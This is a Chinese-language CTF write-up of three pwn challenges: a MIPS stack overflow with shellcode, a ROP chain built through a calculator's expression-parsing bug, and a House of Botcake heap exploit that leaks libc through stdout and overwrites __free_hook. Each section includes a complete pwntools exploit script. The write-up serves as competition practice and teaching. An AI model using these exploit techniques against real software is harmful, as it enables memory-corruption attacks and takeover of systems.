打的很差 拖队友后腿了 我的锅 很对不起队友的努力

比赛时候印象最深的就是ai狗了 看了半天晕了

还有电脑真是越来越卡了 自带的window文件资源管理器比赛时候卡的要死 卡晕了 现在下了个360的感觉还行

mips_pwn_challenge

image-20251116190833326

开头输入255 就会给你栈地址

本题是个mips 平时没有遇到 那时候xyctf2024有这种 但我那时候刚入坑没有记过这个

但调式和其他异构pwn区别不大 但是我的虚拟机前几个月炸过 qemu没装回去 还是自己太菜了

思路很简单 很大的输入直接溢出 并且mips没有nx保护 所以我们写个shellcode并且返回跳转到那里就可以了

这里我也看网上文章复习了下调试

1
2
qemu-mips-static -g 2333 -L /usr/mips-linux-gnu/ ./mips_pwn
一个终端开这个
1
2
gdb-multiarch mips_pwn
pwndbg> target remote 127.0.0.1:2333

然后就可以调试了

然后有要输入的地方在第一个终端输入就行

调试输入后看看

image-20251116201658576

这里的返回地址是fp上方这个d9c 所以可以填充2c字节 溢出返回地址 并且写入shellcode 返回地址就是shellcode开始位置 也就是fp位置da0

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

context(arch='mips', endian='big', os='linux',log_level='debug')

#p = process(["qemu-mips-static", "-L", "./", './mips_pwn'])
p = remote('10.1.100.59',9999)
p.sendline(b'255')
p.recvuntil(b'gift: ')
stack = int(p.recvline(keepends=False),16)
log.success(hex(stack))
payload = b'a' * (0x2c) + p32(stack+0x30) + asm(shellcraft.sh())
p.send(payload)
p.interactive()

easy calc

请教了下学弟 学弟还是太厉害了 我是fw 好笨啊

运行程序 发现好像是个计算的

用ida打开好多一大串 一点不想看 只有个输入式子然后输出结果 这种计算题可以想到试试乱写式子看看程序会有啥变化 一般来说就是运算逻辑会有问题 详细看代码太麻烦了而且还慢而且还看不懂

当式子输入1+时发现

image-20251117140451432

返回地址好像就是1

所以最后一个要是+后面啥也不跟,就会产生一个上溢,把返回地址覆盖成最后的答案

输入是1+2+时

image-20251117141220456

前面两个是1+2的值 第三个是2

但我们想要的是一组连贯的rop链 但这样看好像是有干扰的

我们加个括号看看

输入(1)-(2)++发现

image-20251117142250405

括号间的减法放在这里居然也还是加(具体是啥的话还是得要看看代码 不过试出来还是比较方便)

正常的1-2+是

所以可以利用括号来写rop链

输入(1)-2+(2)++发现

好像这么输入 一个括号减去一个要链入的数再括号回来就可以 那么就这么写rop链了

字符串中有./flag字符串 所以就可以写orw获取flag ret2libc也是可以的 有几个括号那就在最后加几个+就行

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *


#p=remote('10.1.100.73',8888)
p=process('./pwn')
libc = ELF('./libc.so.6')
elf=ELF('./pwn')

#gdb.attach(p,'b *0x402325 \nc')
main = 0x401535
pop_rdi_ret = 0x0402330
ret = 0x40101a
flag = 0x403008
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
payload = f'({ret})-{pop_rdi_ret}+'
payload += f'({pop_rdi_ret})-{puts_got}+'
payload += f'({puts_got})-{puts_plt}+'
payload += f'({puts_plt})-{main}+'
payload += f'({main})+++++'
p.sendafter('input',payload)
print(p.recvuntil('0\n'))
puts = u64(p.recv(6).ljust(8,b"\x00"))
libc_base = puts - libc.sym['puts']
libc.address = libc_base
system = libc.sym['system']
bin_sh = libc.search('/bin/sh').__next__()
Open = libc.sym['open']
sendfile = libc.sym['sendfile']
pop_rsi_ret = libc.address + 0x002601f
pop_rdx_rcx_rbx_ret = libc.address + 0x10257d
payload = f'({ret})-{pop_rdi_ret}+'
#payload = f'({ret})-{pop_rdi_ret}+'
payload += f'({pop_rdi_ret})-{flag}+'
payload += f'({flag})-{pop_rsi_ret}+'
payload += f'({pop_rsi_ret})-{0}+'
payload += f'({0})-{Open}+'
payload += f'({Open})-{pop_rdi_ret}+'
payload += f'({pop_rdi_ret})-{1}+'
payload += f'({1})-{pop_rsi_ret}+'
payload += f'({pop_rsi_ret})-{3}+'
payload += f'({3})-{pop_rdx_rcx_rbx_ret}+'
payload += f'({pop_rdx_rcx_rbx_ret})-{0}+'
payload += f'({0})-{100}+'
payload += f'({100})-{0}+'
payload += f'({0})-{sendfile}+'
payload += f'({sendfile})-{main}+'
payload += f'({main})++++++++++++++++'

p.sendafter('input',payload)
p.interactive()

得到flag

only_one

菜单就一个添加删除 然后有一次doublefree 这题的libc是2.31 加入了对doublefree的检测 引入了对 Tcache Key 的检查。当 free 掉一个堆块进入 tcache 时,假如堆块的 bk 位存放的 key == tcache_key , 就会遍历这个大小的 Tcache ,假如发现同地址的堆块,则触发 Double Free 报错。这里就可以利用House of Botcake这个手法

总结说就是申请10个一样的堆块(最后一个堆块防止合并)前面七个free掉填满tcache 然后free掉第9个堆块,这样第9个堆块就被填入到了unsortedbin中 然后free掉第8个堆块 那么第8个和第9个合成了个大的堆块在unsortedbin中

然后就是最关键的 此时从前面满了的tcache堆块申请出一个 然后free9号堆块进去(doublefree)然后我们add出来修改他的fd地址就可以了

本题没有show函数 所以这里利用stdout进行泄露 十六分之一的概率

image-20251117224159895

先是第9堆块弄到unsortedbin中

image-20251117224335408

然后把第8堆块free掉 第7堆块申请出来 第9堆块放入tcache中

image-20251117232141468

image-20251117224605490

申请堆块 并且对第九堆块fd进行修改 申请出来打io泄露出libc

image-20251117230540162

然后我们就要想想怎么得到shell

可以进行堆块覆写操作

先将第8堆块分开 因为第8堆块口在tcache上的f0(exp上)堆块集 所以可以操作下

分开成两段 然后创建时后半段最后可以覆写第9堆块后半为堆块14

后面free14然后创建也就是第9堆块后半修改到第10堆块的fd为free_hook

然后覆写system就行

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *
context.update(os = 'linux', arch = 'amd64')
context.log_level = 'debug'

filename = "./pwn"
libc=ELF("libc.so.6")
host = "10.1.100.121"
port = 9999
elf = ELF(filename)
p = process('./pwn')

sla = lambda delim, data: p.sendlineafter(delim, data)
sa = lambda delim, data: p.sendafter(delim, data)
s = lambda data: p.send(data)
sl = lambda data: p.sendline(data)
ru = lambda delim, **kwargs: p.recvuntil(delim, **kwargs)
io = lambda: p.interactive()
log = lambda name, data: success(f'{name}: {data:#x}')

def cmd(idx):
sla(b'> ', str(idx).encode())

def add(size, data=b'a'):
cmd(1)
sla(b'Size: ', str(size).encode())
sa(b': ', data)

def delete(idx):
cmd(2)
sla(b': ', str(idx).encode())

def magic(idx):
cmd(999)
sla(b': ', str(idx).encode())

def main():
for i in range(10):
add(0xe0)# 0-9

for i in range(7):
delete(i) # 0-6

magic(8)
delete(7)

add(0xe0)# 10
delete(8)

add(0x60)# 11
add(0x70)# 12

add(0x70, b'\xa0\x26')# 13第8堆块分开前半
add(0x60)# 14 第8堆块分开后半
add(0xe0, b'\0'*0x78 + p64(0x91))# 15 13 & 14 第九堆块分开后半
add(0xe0, fit(0xfbad1800, 0, 0, 0) + b'\x08')# 16 & stdout
libc.address = u64(ru(b'\x7f')[-6:].ljust(8, b'\0')) - 0x1ec980
log('libc', libc.address)

delete(10) #第6堆块
delete(9) #第10堆块 最后的块
delete(14) #最后的块
gdb.attach(p)
add(0x80, b'\x00'*0x68 + p64(0xf1)+p64(libc.sym['__free_hook'])+p64(0)) #这里利用下堆块重叠覆写 9后半写10前半
add(0xe0, b'/bin/sh\0')# 18
add(0xe0, fit(libc.sym.system))# 19

delete(18)

io()

if __name__ == "__main__":
main()

1
参考文章:https://mp.weixin.qq.com/s/Vl86wmSNVhbZd7f9KSkh8g